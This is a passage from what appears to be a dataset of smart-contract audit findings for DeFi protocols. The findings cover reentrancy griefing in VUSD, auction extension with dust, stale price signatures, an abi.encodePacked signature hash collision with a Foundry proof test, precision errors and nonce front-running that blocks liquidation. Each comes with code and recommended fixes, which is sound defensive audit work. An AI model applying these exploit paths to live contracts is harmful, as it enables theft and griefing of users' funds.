(markPriceTwapData.lastTimestamp <= lastPeriodStart) {\\n return markPriceTwapData.lastPrice;\\n }\\n```\\n\\nYou could make the argument that if no trades have occurred in a significant period of time then the market TWAP should revert back to the oracle TWAP and premium emissions should halt. This could either be after one empty period, or X number of empty periods to be defined by Hubble.\\nFinally, having a trader able to hold both sides of the same perpetual in the same order makes this attack easier to implement, so it might be worth adding an extra check to prevent this. However it's worth noting the same could be achieved with 2 accounts assuming they alternated the long/short positions between them to avoid excessive margin requirements. So I'm not sure this is strictly necessary.
A user can effectively steal funds from other traders that are filling the other side of their positions. The larger the position the malicious user is able to fill and the longer the period, the more funds can be credited to the malicious user's margin account.
```\\nint256 premium = getMarkPriceTwap() - underlyingPrice;\\n```\\n
Malicious user can grief withdrawing users via VUSD reentrancy
medium
VUSD#processWithdraw makes a call to withdrawal.usr to send the withdrawn gas token. processWithdrawals is the only nonreentrant function allowing a user to create a smart contract that uses it's receive function to deposit then immediately withdraw to indefinitely lengthen the withdrawal queue and waste large amounts of caller gas.\\nVUSD.sol#L69-L77\\n```\\n while (i < withdrawals.length && (i - start) < maxWithdrawalProcesses) {\\n Withdrawal memory withdrawal = withdrawals[i];\\n if (reserve < withdrawal.amount) {\\n break;\\n }\\n\\n (bool success, bytes memory data) = withdrawal.usr.call{value: withdrawal.amount}("");\\n if (success) {\\n reserve -= withdrawal.amount;\\n```\\n\\nTo send the withdrawn gas token to the user VUSD#processWithdrawals utilizes a call with no data. When received by a contract this will trigger it's receive function. This can be abused to continually grief users who withdraw with no recurring cost to the attacker. To exploit this the attacker would withdraw VUSD to a malicious contract. This contract would deposit the received gas token then immediately withdraw it. This would lengthen the queue. Since the queue is first-in first-out a user would be forced to process all the malicious withdrawals before being able to process their own. While processing them they would inevitably reset the grief for the next user.\\nNOTE: I am submitting this as a separate issue apart from my other two similar issues. I believe it should be a separate issue because even though the outcome is similar the root cause is entirely different. Those are directly related to the incorrect call parameters while the root cause of this issue is that both mintWithReserve and withdraw/withdrawTo lack the reentrant modifier allowing this malicious reentrancy.
Add the nonreentrant modifer to mintWithReserve withdraw and withdrawTo
Malicious user can maliciously reenter VUSD to grief users via unnecessary gas wastage
```\\n while (i < withdrawals.length && (i - start) < maxWithdrawalProcesses) {\\n Withdrawal memory withdrawal = withdrawals[i];\\n if (reserve < withdrawal.amount) {\\n break;\\n }\\n\\n (bool success, bytes memory data) = withdrawal.usr.call{value: withdrawal.amount}("");\\n if (success) {\\n reserve -= withdrawal.amount;\\n```\\n
Malicious users can donate/leave dust amounts of collateral in contract during auctions to buy other collateral at very low prices
medium
Auctions are only ended early if the amount of the token being auctioned drops to 0. This can be exploited via donation or leaving dust in the contract to malicious extend the auction and buy further liquidate collateral at heavily discounted prices.\\nInsuranceFund.sol#L184-L199\\n```\\nfunction buyCollateralFromAuction(address token, uint amount) override external {\\n Auction memory auction = auctions[token];\\n // validate auction\\n require(_isAuctionOngoing(auction.startedAt, auction.expiryTime), "IF.no_ongoing_auction");\\n\\n // transfer funds\\n uint vusdToTransfer = _calcVusdAmountForAuction(auction, token, amount);\\n address buyer = _msgSender();\\n vusd.safeTransferFrom(buyer, address(this), vusdToTransfer);\\n IERC20(token).safeTransfer(buyer, amount); // will revert if there wasn't enough amount as requested\\n\\n // close auction if no collateral left\\n if (IERC20(token).balanceOf(address(this)) == 0) { <- @audit-issue only cancels auction if balance = 0\\n auctions[token].startedAt = 0;\\n }\\n}\\n```\\n\\nWhen buying collateral from an auction, the auction is only closed if the balance of the token is 0. This can be exploited in a few ways to maliciously extend auctions and keep the timer (and price) decreasing. The first would be buy all but 1 wei of a token leaving it in the contract so the auction won't close. Since 1 wei isn't worth the gas costs to buy, there would be a negative incentive to buy the collateral, likely resulting in no on buying the final amount. A second approach would be to frontrun an buys with a single wei transfer with the same results.\\nNow that the auction has been extended any additional collateral added during the duration of the auction will start immediately well below the assets actual value. This allows malicious users to buy the asset for much cheaper, causing loss to the insurance fund.
Close the auction if there is less than a certain threshold of a token remaining after it has been bought:\\n```\\n IERC20(token).safeTransfer(buyer, amount); // will revert if there wasn't enough amount as requested\\n\\n+ uint256 minRemainingBalance = 1 * 10 ** (IERC20(token).decimal() - 3);\\n\\n // close auction if no collateral left\\n+ if (IERC20(token).balanceOf(address(this)) <= minRemainingBalance) {\\n auctions[token].startedAt = 0;\\n }\\n```\\n
Users can maliciously extend auctions and potentially get collateral for very cheap
```\\nfunction buyCollateralFromAuction(address token, uint amount) override external {\\n Auction memory auction = auctions[token];\\n // validate auction\\n require(_isAuctionOngoing(auction.startedAt, auction.expiryTime), "IF.no_ongoing_auction");\\n\\n // transfer funds\\n uint vusdToTransfer = _calcVusdAmountForAuction(auction, token, amount);\\n address buyer = _msgSender();\\n vusd.safeTransferFrom(buyer, address(this), vusdToTransfer);\\n IERC20(token).safeTransfer(buyer, amount); // will revert if there wasn't enough amount as requested\\n\\n // close auction if no collateral left\\n if (IERC20(token).balanceOf(address(this)) == 0) { <- @audit-issue only cancels auction if balance = 0\\n auctions[token].startedAt = 0;\\n }\\n}\\n```\\n
MarginAccountHelper will be bricked if registry.marginAccount or insuranceFund ever change
medium
MarginAccountHelper#syncDeps causes the contract to refresh it's references to both marginAccount and insuranceFund. The issue is that approvals are never made to the new contracts rendering them useless.\\nMarginAccountHelper.sol#L82-L87\\n```\\nfunction syncDeps(address _registry) public onlyGovernance {\\n IRegistry registry = IRegistry(_registry);\\n vusd = IVUSD(registry.vusd());\\n marginAccount = IMarginAccount(registry.marginAccount());\\n insuranceFund = IInsuranceFund(registry.insuranceFund());\\n}\\n```\\n\\nWhen syncDeps is called the marginAccount and insuranceFund references are updated. All transactions require approvals to one of those two contract. Since no new approvals are made, the contract will become bricked and all transactions will revert.
Remove approvals to old contracts before changing and approve new contracts after
Contract will become bricked and all contracts that are integrated or depend on it will also be bricked
```\\nfunction syncDeps(address _registry) public onlyGovernance {\\n IRegistry registry = IRegistry(_registry);\\n vusd = IVUSD(registry.vusd());\\n marginAccount = IMarginAccount(registry.marginAccount());\\n insuranceFund = IInsuranceFund(registry.insuranceFund());\\n}\\n```\\n
No `minAnswer/maxAnswer` Circuit Breaker Checks while Querying Prices in Oracle.sol
medium
The Oracle.sol contract, while currently applying a safety check (this can be side stepped, check my other submission ) to ensure returned prices are greater than zero, which is commendable, as it effectively mitigates the risk of using negative prices, there should be an implementation to ensure the returned prices are not at the extreme boundaries (minAnswer and maxAnswer). Without such a mechanism, the contract could operate based on incorrect prices, which could lead to an over- or under-representation of the asset's value, potentially causing significant harm to the protocol.\\nChainlink aggregators have a built in circuit breaker if the price of an asset goes outside of a predetermined price band. The result is that if an asset experiences a huge drop in value (i.e. LUNA crash) the price of the oracle will continue to return the minPrice instead of the actual price of the asset. This would allow user to continue borrowing with the asset but at the wrong price. This is exactly what happened to Venus on BSC when LUNA imploded. In its current form, the `getUnderlyingPrice()` function within the Oracle.sol contract retrieves the latest round data from Chainlink, if the asset's market price plummets below `minAnswer` or skyrockets above `maxAnswer`, the returned price will still be `minAnswer` or `maxAnswer`, respectively, rather than the actual market price. This could potentially lead to an exploitation scenario where the protocol interacts with the asset using incorrect price information.\\nTake a look at Oracle.sol#L106-L123:\\n```\\n function getLatestRoundData(AggregatorV3Interface _aggregator)\\n internal\\n view\\n returns (\\n uint80,\\n uint256 finalPrice,\\n uint256\\n )\\n {\\n (uint80 round, int256 latestPrice, , uint256 latestTimestamp, ) = _aggregator.latestRoundData();\\n finalPrice = uint256(latestPrice);\\n if (latestPrice <= 0) {\\n requireEnoughHistory(round);\\n (round, finalPrice, latestTimestamp) = getRoundData(_aggregator, round - 1);\\n }\\n return (round, finalPrice, latestTimestamp);\\n }\\n```\\n\\nIllustration:\\nPresent price of TokenA is $10\\nTokenA has a minimum price set at $1 on chainlink\\nThe actual price of TokenA dips to $0.10\\nThe aggregator continues to report $1 as the price.\\nConsequently, users can interact with protocol using TokenA as though it were still valued at $1, which is a tenfold overestimate of its real market value.
Since there is going to be a whitelist of tokens to be added, the minPrice/maxPrice could be checked and a revert could be made when this is returned by chainlink or a fallback oracle that does not have circuit breakers could be implemented in that case
The potential for misuse arises when the actual price of an asset drastically changes but the oracle continues to operate using the `minAnswer` or `maxAnswer` as the asset's price. In the case of it going under the `minAnswer` malicious actors obviously have the upperhand and could give their potential going to zero worth tokens to protocol
```\\n function getLatestRoundData(AggregatorV3Interface _aggregator)\\n internal\\n view\\n returns (\\n uint80,\\n uint256 finalPrice,\\n uint256\\n )\\n {\\n (uint80 round, int256 latestPrice, , uint256 latestTimestamp, ) = _aggregator.latestRoundData();\\n finalPrice = uint256(latestPrice);\\n if (latestPrice <= 0) {\\n requireEnoughHistory(round);\\n (round, finalPrice, latestTimestamp) = getRoundData(_aggregator, round - 1);\\n }\\n return (round, finalPrice, latestTimestamp);\\n }\\n```\\n
setSymbolsPrice() can use the priceSig from a long time ago
high
`setSymbolsPrice()` only restricts the maximum value of `priceSig.timestamp`, but not the minimum time This allows a malicious user to choose a malicious `priceSig` from a long time ago A malicious `priceSig.upnl` can seriously harm `partyB`\\n`setSymbolsPrice()` only restricts the maximum value of `priceSig.timestamp`, but not the minimum time\\n```\\n function setSymbolsPrice(address partyA, PriceSig memory priceSig) internal {\\n MAStorage.Layout storage maLayout = MAStorage.layout();\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n LibMuon.verifyPrices(priceSig, partyA);\\n require(\\n priceSig.timestamp <=\\n maLayout.liquidationTimestamp[partyA] + maLayout.liquidationTimeout,\\n "LiquidationFacet: Expired signature"\\n );\\n```\\n\\nLibMuon.verifyPrices only check sign, without check the time range\\n```\\n function verifyPrices(PriceSig memory priceSig, address partyA) internal view {\\n MuonStorage.Layout storage muonLayout = MuonStorage.layout();\\n require(priceSig.prices.length == priceSig.symbolIds.length, "LibMuon: Invalid length");\\n bytes32 hash = keccak256(\\n abi.encodePacked(\\n muonLayout.muonAppId,\\n priceSig.reqId,\\n address(this),\\n partyA,\\n priceSig.upnl,\\n priceSig.totalUnrealizedLoss,\\n priceSig.symbolIds,\\n priceSig.prices,\\n priceSig.timestamp,\\n getChainId()\\n )\\n );\\n verifyTSSAndGateway(hash, priceSig.sigs, priceSig.gatewaySignature);\\n }\\n```\\n\\nIn this case, a malicious user may pick any `priceSig` from a long time ago, and this `priceSig` may have a large negative `unpl`, leading to `LiquidationType.OVERDUE`, severely damaging `partyB`\\nWe need to restrict `priceSig.timestamp` to be no smaller than `maLayout.liquidationTimestamp[partyA]` to avoid this problem
restrict `priceSig.timestamp` to be no smaller than `maLayout.liquidationTimestamp[partyA]`\\n```\\n function setSymbolsPrice(address partyA, PriceSig memory priceSig) internal {\\n MAStorage.Layout storage maLayout = MAStorage.layout();\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n\\n LibMuon.verifyPrices(priceSig, partyA);\\n require(maLayout.liquidationStatus[partyA], "LiquidationFacet: PartyA is solvent");\\n require(\\n priceSig.timestamp <=\\n maLayout.liquidationTimestamp[partyA] + maLayout.liquidationTimeout,\\n "LiquidationFacet: Expired signature"\\n );\\n+ require(priceSig.timestamp >= maLayout.liquidationTimestamp[partyA],"invald price timestamp");\\n```\\n
Maliciously choosing the illegal `PriceSig` thus may hurt others user
```\\n function setSymbolsPrice(address partyA, PriceSig memory priceSig) internal {\\n MAStorage.Layout storage maLayout = MAStorage.layout();\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n LibMuon.verifyPrices(priceSig, partyA);\\n require(\\n priceSig.timestamp <=\\n maLayout.liquidationTimestamp[partyA] + maLayout.liquidationTimeout,\\n "LiquidationFacet: Expired signature"\\n );\\n```\\n
LibMuon Signature hash collision
high
In `LibMuon` , all signatures do not distinguish between type prefixes, and `abi.encodePacked` is used when calculating the hash Cause when `abi.encodePacked`, if there is a dynamic array, different structures but the same hash value may be obtained Due to conflicting hash values, signatures can be substituted for each other, making malicious use of illegal signatures possible\\nThe following two methods are examples\\n1.verifyPrices:\\n```\\n function verifyPrices(PriceSig memory priceSig, address partyA) internal view {\\n MuonStorage.Layout storage muonLayout = MuonStorage.layout();\\n require(priceSig.prices.length == priceSig.symbolIds.length, "LibMuon: Invalid length");\\n bytes32 hash = keccak256(\\n abi.encodePacked(\\n muonLayout.muonAppId,\\n priceSig.reqId,\\n address(this),\\n partyA,\\n priceSig.upnl,\\n priceSig.totalUnrealizedLoss,\\n priceSig.symbolIds,\\n priceSig.prices,\\n priceSig.timestamp,\\n getChainId()\\n )\\n );\\n verifyTSSAndGateway(hash, priceSig.sigs, priceSig.gatewaySignature);\\n }\\n```\\n\\n2.verifyPartyAUpnlAndPrice\\n```\\n function verifyPartyAUpnlAndPrice(\\n SingleUpnlAndPriceSig memory upnlSig,\\n address partyA,\\n uint256 symbolId\\n ) internal view {\\n MuonStorage.Layout storage muonLayout = MuonStorage.layout();\\n// require(\\n// block.timestamp <= upnlSig.timestamp + muonLayout.upnlValidTime,\\n// "LibMuon: Expired signature"\\n// );\\n bytes32 hash = keccak256(\\n abi.encodePacked(\\n muonLayout.muonAppId,\\n upnlSig.reqId,\\n address(this),\\n partyA,\\n AccountStorage.layout().partyANonces[partyA],\\n upnlSig.upnl,\\n symbolId,\\n upnlSig.price,\\n upnlSig.timestamp,\\n getChainId()\\n )\\n );\\n verifyTSSAndGateway(hash, upnlSig.sigs, upnlSig.gatewaySignature);\\n }\\n```\\n\\nWe exclude the same common part (muonAppId/reqId/address (this)/timestamp/getChainId ())\\nThrough the following simplified test code, although the structure is different, the hash value is the same at that time\\n```\\n function test() external {\\n address verifyPrices_partyA = address(0x1);\\n int256 verifyPrices_upnl = 100;\\n int256 verifyPrices_totalUnrealizedLoss = 100;\\n uint256 [] memory verifyPrices_symbolIds = new uint256[](1);\\n verifyPrices_symbolIds[0]=1;\\n uint256 [] memory verifyPrices_prices = new uint256[](1);\\n verifyPrices_prices[0]=1000; \\n\\n bytes32 verifyPrices = keccak256(abi.encodePacked(\\n verifyPrices_partyA,\\n verifyPrices_upnl,\\n verifyPrices_totalUnrealizedLoss,\\n verifyPrices_symbolIds,\\n verifyPrices_prices\\n ));\\n\\n address verifyPartyAUpnlAndPrice_partyA = verifyPrices_partyA;\\n int256 verifyPartyAUpnlAndPrice_partyANonces = verifyPrices_upnl;\\n int256 verifyPartyAUpnlAndPrice_upnl = verifyPrices_totalUnrealizedLoss;\\n uint256 verifyPartyAUpnlAndPrice_symbolId = verifyPrices_symbolIds[0];\\n uint256 verifyPartyAUpnlAndPrice_price = verifyPrices_prices[0];\\n\\n\\n bytes32 verifyPartyAUpnlAndPrice = keccak256(abi.encodePacked(\\n verifyPartyAUpnlAndPrice_partyA,\\n verifyPartyAUpnlAndPrice_partyANonces,\\n verifyPartyAUpnlAndPrice_upnl,\\n verifyPartyAUpnlAndPrice_symbolId,\\n verifyPartyAUpnlAndPrice_price\\n ));\\n\\n console.log("verifyPrices == verifyPartyAUpnlAndPrice:",verifyPrices == verifyPartyAUpnlAndPrice);\\n\\n }\\n```\\n\\n```\\n$ forge test -vvv\\n\\nRunning 1 test for test/Counter.t.sol:CounterTest\\n[PASS] test() (gas: 4991)\\nLogs:\\n verifyPrices == verifyPartyAUpnlAndPrice: true\\n\\nTest result: ok. 1 passed; 0 failed; finished in 11.27ms\\n```\\n\\nFrom the above test example, we can see that the `verifyPrices` and `verifyPartyAUpnlAndPrice` signatures can be used interchangeably If we get a legal `verifyPartyAUpnlAndPrice` , it can be used as the signature of `verifyPrices ()` Use `partyANonces` as `upnl`, etc
It is recommended to add the prefix of the hash, or use `api.encode` Such as:\\n```\\n function verifyPrices(PriceSig memory priceSig, address partyA) internal view {\\n MuonStorage.Layout storage muonLayout = MuonStorage.layout();\\n require(priceSig.prices.length == priceSig.symbolIds.length, "LibMuon: Invalid length");\\n bytes32 hash = keccak256(\\n abi.encodePacked(\\n+ "verifyPrices",\\n muonLayout.muonAppId,\\n priceSig.reqId,\\n address(this),\\n partyA,\\n priceSig.upnl,\\n priceSig.totalUnrealizedLoss,\\n priceSig.symbolIds,\\n priceSig.prices,\\n priceSig.timestamp,\\n getChainId()\\n )\\n );\\n verifyTSSAndGateway(hash, priceSig.sigs, priceSig.gatewaySignature);\\n }\\n```\\n
Signatures can be reused due to hash collisions, through illegal signatures, using illegal `unpl`, etc
```\\n function verifyPrices(PriceSig memory priceSig, address partyA) internal view {\\n MuonStorage.Layout storage muonLayout = MuonStorage.layout();\\n require(priceSig.prices.length == priceSig.symbolIds.length, "LibMuon: Invalid length");\\n bytes32 hash = keccak256(\\n abi.encodePacked(\\n muonLayout.muonAppId,\\n priceSig.reqId,\\n address(this),\\n partyA,\\n priceSig.upnl,\\n priceSig.totalUnrealizedLoss,\\n priceSig.symbolIds,\\n priceSig.prices,\\n priceSig.timestamp,\\n getChainId()\\n )\\n );\\n verifyTSSAndGateway(hash, priceSig.sigs, priceSig.gatewaySignature);\\n }\\n```\\n
`depositAndAllocateForPartyB` is broken due to incorrect precision
high
Due to incorrect precision, any users or external protocols utilizing the `depositAndAllocateForPartyB` to allocate 1000 USDC will end up only having 0.000000001 USDC allocated to their account. This might potentially lead to unexpected loss of funds due to the broken functionality if they rely on the accuracy of the function outcome to perform certain actions that deal with funds/assets.\\nThe input `amount` of the `depositForPartyB` function must be in native precision (e.g. USDC should be 6 decimals) as the function will automatically scale the `amount` to 18 precision in Lines 114-115 below.\\n```\\nFile: AccountFacetImpl.sol\\n function depositForPartyB(uint256 amount) internal {\\n IERC20(GlobalAppStorage.layout().collateral).safeTransferFrom(\\n msg.sender,\\n address(this),\\n amount\\n );\\n uint256 amountWith18Decimals = (amount * 1e18) /\\n (10 ** IERC20Metadata(GlobalAppStorage.layout().collateral).decimals());\\n AccountStorage.layout().balances[msg.sender] += amountWith18Decimals;\\n }\\n```\\n\\nOn the other hand, the input `amount` of `allocateForPartyB` function must be in 18 decimals precision. Within the protocol, it uses 18 decimals for internal accounting.\\n```\\nFile: AccountFacetImpl.sol\\n function allocateForPartyB(uint256 amount, address partyA, bool increaseNonce) internal {\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n\\n require(accountLayout.balances[msg.sender] >= amount, "PartyBFacet: Insufficient balance");\\n require(\\n !MAStorage.layout().partyBLiquidationStatus[msg.sender][partyA],\\n "PartyBFacet: PartyB isn't solvent"\\n );\\n if (increaseNonce) {\\n accountLayout.partyBNonces[msg.sender][partyA] += 1;\\n }\\n accountLayout.balances[msg.sender] -= amount;\\n accountLayout.partyBAllocatedBalances[msg.sender][partyA] += amount;\\n }\\n```\\n\\nThe `depositAndAllocateForPartyB` function allows the users to deposit and allocate to their accounts within a single transaction. Within the function, it calls the `depositForPartyB` function followed by the `allocateForPartyB` function. The function passes the same `amount` into both the `depositForPartyB` and `allocateForPartyB` functions. However, the problem is that one accepts `amount` in native precision (e.g. 6 decimals) while the other accepts `amount` in scaled decimals (e.g. 18 decimals).\\nAssume that Alice calls the `depositAndAllocateForPartyB` function and intends to deposit and allocate 1000 USDC. Thus, she set the `amount` of the `depositAndAllocateForPartyB` function to `1000e6` as the precision of USDC is `6`.\\nThe `depositForPartyB` function at Line 78 will work as intended because it will automatically be scaled up to internal accounting precision (18 decimals) within the function, and 1000 USDC will be deposited to her account.\\nThe `allocateForPartyB` at Line 79 will not work as intended. The function expects the `amount` to be in internal accounting precision (18 decimals), but an `amount` in native precision (6 decimals for USDC) is passed in. As a result, only 0.000000001 USDC will be allocated to her account.\\n```\\nFile: AccountFacet.sol\\n function depositAndAllocateForPartyB(\\n uint256 amount,\\n address partyA\\n ) external whenNotPartyBActionsPaused onlyPartyB {\\n AccountFacetImpl.depositForPartyB(amount);\\n AccountFacetImpl.allocateForPartyB(amount, partyA, true);\\n emit DepositForPartyB(msg.sender, amount);\\n emit AllocateForPartyB(msg.sender, partyA, amount);\\n }\\n```\\n
Scale the `amount` to internal accounting precision (18 decimals) before passing it to the `allocateForPartyB` function.\\n```\\nfunction depositAndAllocateForPartyB(\\n uint256 amount,\\n address partyA\\n) external whenNotPartyBActionsPaused onlyPartyB {\\n AccountFacetImpl.depositForPartyB(amount);\\n// Add the line below\\n uint256 amountWith18Decimals = (amount * 1e18) /\\n// Add the line below\\n (10 ** IERC20Metadata(GlobalAppStorage.layout().collateral).decimals());\\n// Remove the line below\\n AccountFacetImpl.allocateForPartyB(amount, partyA, true);\\n// Add the line below\\n AccountFacetImpl.allocateForPartyB(amountWith18Decimals, partyA, true);\\n emit DepositForPartyB(msg.sender, amount);\\n emit AllocateForPartyB(msg.sender, partyA, amount);\\n}\\n```\\n
Any users or external protocols utilizing the `depositAndAllocateForPartyB` to allocate 1000 USDC will end up only having 0.000000001 USDC allocated to their account, which might potentially lead to unexpected loss of funds due to the broken functionality if they rely on the accuracy of the outcome to perform certain actions dealing with funds/assets.\\nFor instance, Bob's account is close to being liquidated. Thus, he might call the `depositAndAllocateForPartyB` function in an attempt to increase its allocated balance and improve its account health level to avoid being liquidated. However, the `depositAndAllocateForPartyB` is not working as expected, and its allocated balance only increased by a very small amount (e.g. 0.000000001 USDC in our example). Bob believed that his account was healthy, but in reality, his account was still in danger as it only increased by 0.000000001 USDC. In the next one or two blocks, the price swung, and Bob's account was liquidated.
```\\nFile: AccountFacetImpl.sol\\n function depositForPartyB(uint256 amount) internal {\\n IERC20(GlobalAppStorage.layout().collateral).safeTransferFrom(\\n msg.sender,\\n address(this),\\n amount\\n );\\n uint256 amountWith18Decimals = (amount * 1e18) /\\n (10 ** IERC20Metadata(GlobalAppStorage.layout().collateral).decimals());\\n AccountStorage.layout().balances[msg.sender] += amountWith18Decimals;\\n }\\n```\\n
Accounting error in PartyB's pending locked balance led to loss of funds
high
Accounting error in the PartyB's pending locked balance during the partial filling of a position could lead to a loss of assets for PartyB.\\n```\\nFile: PartyBFacetImpl.sol\\n function openPosition(\\n uint256 quoteId,\\n uint256 filledAmount,\\n uint256 openedPrice,\\n PairUpnlAndPriceSig memory upnlSig\\n ) internal returns (uint256 currentId) {\\n..SNIP..\\n\\n LibQuote.removeFromPendingQuotes(quote);\\n\\n..SNIP..\\n quoteLayout.quoteIdsOf[quote.partyA].push(currentId);\\n..SNIP..\\n } else {\\n accountLayout.pendingLockedBalances[quote.partyA].sub(filledLockedValues);\\n accountLayout.partyBPendingLockedBalances[quote.partyB][quote.partyA].sub(\\n filledLockedValues\\n );\\n }\\n```\\n\\nParameter Description\\n$quote_{current}$ Current quote (Quote ID = 1)\\n$quote_{new}$ Newly created quote (Quote ID = 2) due to partially filling\\n$lockedValue_{total}$ 100 USD. The locked values of $quote_{current}$\\n$lockedValue_{filled}$ 30 USD. $lockedValue_{filled} = lockedValue_{total}\\times\\frac{filledAmount}{quote.quantity}$\\n$lockedValue_{unfilled}$ 70 USD. $lockedValue_{unfilled} = lockedValue_{total}-lockedValue_{filled}$\\n$pendingLockedBalance_{a}$ 100 USD. PartyA's pending locked balance\\n$pendingLockedBalance_{b}$ 100 USD. PartyB's pending locked balance\\n$pendingQuotes_a$ PartyA's pending quotes. $pendingQuotes_a = [quote_{current}]$\\n$pendingQuotes_b$ PartyB's pending quotes. $pendingQuotes_b = [quote_{current}]$\\nAssume the following states before the execution of the `openPosition` function:\\n$pendingQuotes_a = [quote_{current}]$\\n$pendingQuotes_b = [quote_{current}]$\\n$pendingLockedBalance_{a} = 100\\ USD$\\n$pendingLockedBalance_{b} = 100\\ USD$\\nWhen the `openPosition` function is executed, $quote_{current}$ will be removed from $pendingQuotes_a$ and $pendingQuotes_b$ in Line 156.\\nIf the position is partially filled, $quote_{current}$ will be filled, and $quote_{new}$ will be created with the unfilled amount ($lockedValue_{unfilled}$). The $quote_{new}$ is automatically added to PartyA's pending quote list in Line 225.\\nThe states at this point are as follows:\\n$pendingQuotes_a = [quote_{new}]$\\n$pendingQuotes_b = []$\\n$pendingLockedBalance_{a} = 100\\ USD$\\n$pendingLockedBalance_{b} = 100\\ USD$\\nLine 238 removes the balance already filled ($lockedValue_{filled}$) from $pendingLockedBalance_{a}$ . The unfilled balance ($lockedValue_{unfilled}$) does not need to be removed from $pendingLockedBalance_{a}$ because it is now the balance of $quote_{new}$ that belong to PartyA. The value in $pendingLockedBalance_a$ is correct.\\nThe states at this point are as follows:\\n$pendingQuotes_a = [quote_{new}]$\\n$pendingQuotes_b = []$\\n$pendingLockedBalance_{a} = 70\\ USD$\\n$pendingLockedBalance_{b} = 100\\ USD$\\nIn Line 239, the code removes the balance already filled ($lockedValue_{filled}$) from $pendingLockedBalance_{b}$\\nThe end state is as follows:\\n$pendingQuotes_a = [quote_{new}]$\\n$pendingQuotes_b = []$\\n$pendingLockedBalance_{a} = 70\\ USD$\\n$pendingLockedBalance_{b} = 70\\ USD$\\nAs shown above, the value of $pendingLockedBalance_{b}$ is incorrect. Even though PartyB has no pending quote, 70 USD is still locked in the pending balance.\\nThere are three (3) important points to note:\\n$quote_{current}$ has already been removed from $pendingQuotes_b$ in Line 156\\n$quote_{new}$ is not automatically added to $pendingQuotes_b$. When $quote_{new}$ is created, it is not automatically locked to PartyB.\\n$pendingQuotes_b$ is empty\\nAs such, $lockedValue_{total}$ should be removed from the $pendingLockedBalance_{b}$ instead of only $lockedvalue_{filled}$.
Update the affected function to remove $lockedValue_{total}$ from the $pendingLockedBalance_{b}$ instead of only $lockedvalue_{filled}$.\\n```\\naccountLayout.pendingLockedBalances[quote.partyA].sub(filledLockedValues);\\naccountLayout.partyBPendingLockedBalances[quote.partyB][quote.partyA].sub(\\n// Remove the line below\\n filledLockedValues\\n// Add the line below\\n quote.lockedValues\\n);\\n```\\n
Every time PartyB partially fill a position, their $pendingLockedBalance_b$ will silently increase and become inflated. The pending locked balance plays a key role in the protocol's accounting system. Thus, an error in the accounting breaks many of the computations and invariants of the protocol.\\nFor instance, it is used to compute the available balance of an account in `partyBAvailableForQuote` function. Assuming that the allocated balance remains the same. If the pending locked balance increases silently due to the bug, the available balance returned from the `partyBAvailableForQuote` function will decrease. Eventually, it will "consume" all the allocated balance, and there will be no available funds left for PartyB to open new positions or to deallocate+withdraw funds. Thus, leading to lost of assets for PartyB.
```\\nFile: PartyBFacetImpl.sol\\n function openPosition(\\n uint256 quoteId,\\n uint256 filledAmount,\\n uint256 openedPrice,\\n PairUpnlAndPriceSig memory upnlSig\\n ) internal returns (uint256 currentId) {\\n..SNIP..\\n\\n LibQuote.removeFromPendingQuotes(quote);\\n\\n..SNIP..\\n quoteLayout.quoteIdsOf[quote.partyA].push(currentId);\\n..SNIP..\\n } else {\\n accountLayout.pendingLockedBalances[quote.partyA].sub(filledLockedValues);\\n accountLayout.partyBPendingLockedBalances[quote.partyB][quote.partyA].sub(\\n filledLockedValues\\n );\\n }\\n```\\n
Liquidation can be blocked by incrementing the nonce
high
Malicious users could block liquidators from liquidating their accounts, which creates unfairness in the system and lead to a loss of profits to the counterparty.\\nInstance 1 - Blocking liquidation of PartyA\\nA liquidatable PartyA can block liquidators from liquidating its account.\\n```\\nFile: LiquidationFacetImpl.sol\\n function liquidatePartyA(address partyA, SingleUpnlSig memory upnlSig) internal {\\n MAStorage.Layout storage maLayout = MAStorage.layout();\\n\\n LibMuon.verifyPartyAUpnl(upnlSig, partyA);\\n int256 availableBalance = LibAccount.partyAAvailableBalanceForLiquidation(\\n upnlSig.upnl,\\n partyA\\n );\\n require(availableBalance < 0, "LiquidationFacet: PartyA is solvent");\\n maLayout.liquidationStatus[partyA] = true;\\n maLayout.liquidationTimestamp[partyA] = upnlSig.timestamp;\\n AccountStorage.layout().liquidators[partyA].push(msg.sender);\\n }\\n```\\n\\nWithin the `liquidatePartyA` function, it calls the `LibMuon.verifyPartyAUpnl` function.\\n```\\nFile: LibMuon.sol\\n function verifyPartyAUpnl(SingleUpnlSig memory upnlSig, address partyA) internal view {\\n MuonStorage.Layout storage muonLayout = MuonStorage.layout();\\n// require(\\n// block.timestamp <= upnlSig.timestamp + muonLayout.upnlValidTime,\\n// "LibMuon: Expired signature"\\n// );\\n bytes32 hash = keccak256(\\n abi.encodePacked(\\n muonLayout.muonAppId,\\n upnlSig.reqId,\\n address(this),\\n partyA,\\n AccountStorage.layout().partyANonces[partyA],\\n upnlSig.upnl,\\n upnlSig.timestamp,\\n getChainId()\\n )\\n );\\n verifyTSSAndGateway(hash, upnlSig.sigs, upnlSig.gatewaySignature);\\n }\\n```\\n\\nThe `verifyPartyAUpnl` function will take the current nonce of PartyA (AccountStorage.layout().partyANonces[partyA]) to build the hash needed for verification.\\nWhen the PartyA becomes liquidatable or near to becoming liquidatable, it could start to monitor the mempool for any transaction that attempts to liquidate their accounts. Whenever a liquidator submits a `liquidatePartyA` transaction to liquidate their accounts, they could front-run it and submit a transaction to increment their nonce. When the liquidator's transaction is executed, the on-chain PartyA's nonce will differ from the nonce in the signature, and the liquidation transaction will revert.\\nFor those chains that do not have a public mempool, they can possibly choose to submit a transaction that increments their nonce in every block as long as it is economically feasible to obtain the same result.\\nGas fees that PartyA spent might be cheap compared to the number of assets they will lose if their account is liquidated. Additionally, gas fees are cheap on L2 or side-chain (The protocol intended to support Arbitrum One, Arbitrum Nova, Fantom, Optimism, BNB chain, Polygon, Avalanche as per the contest details).\\nThere are a number of methods for PartyA to increment their nonce, this includes but not limited to the following:\\nAllocate or deallocate dust amount\\nLock and unlock the dummy position\\nCalls `requestToClosePosition` followed by `requestToCancelCloseRequest` immediately\\nInstance 2 - Blocking liquidation of PartyB\\nThe same exploit can be used to block the liquidation of PartyB since the `liquidatePartyB` function also relies on the `LibMuon.verifyPartyBUpnl,` which uses the on-chain nonce of PartyB for signature verification.\\n```\\nFile: LiquidationFacetImpl.sol\\n function liquidatePartyB(\\n..SNIP..\\n LibMuon.verifyPartyBUpnl(upnlSig, partyB, 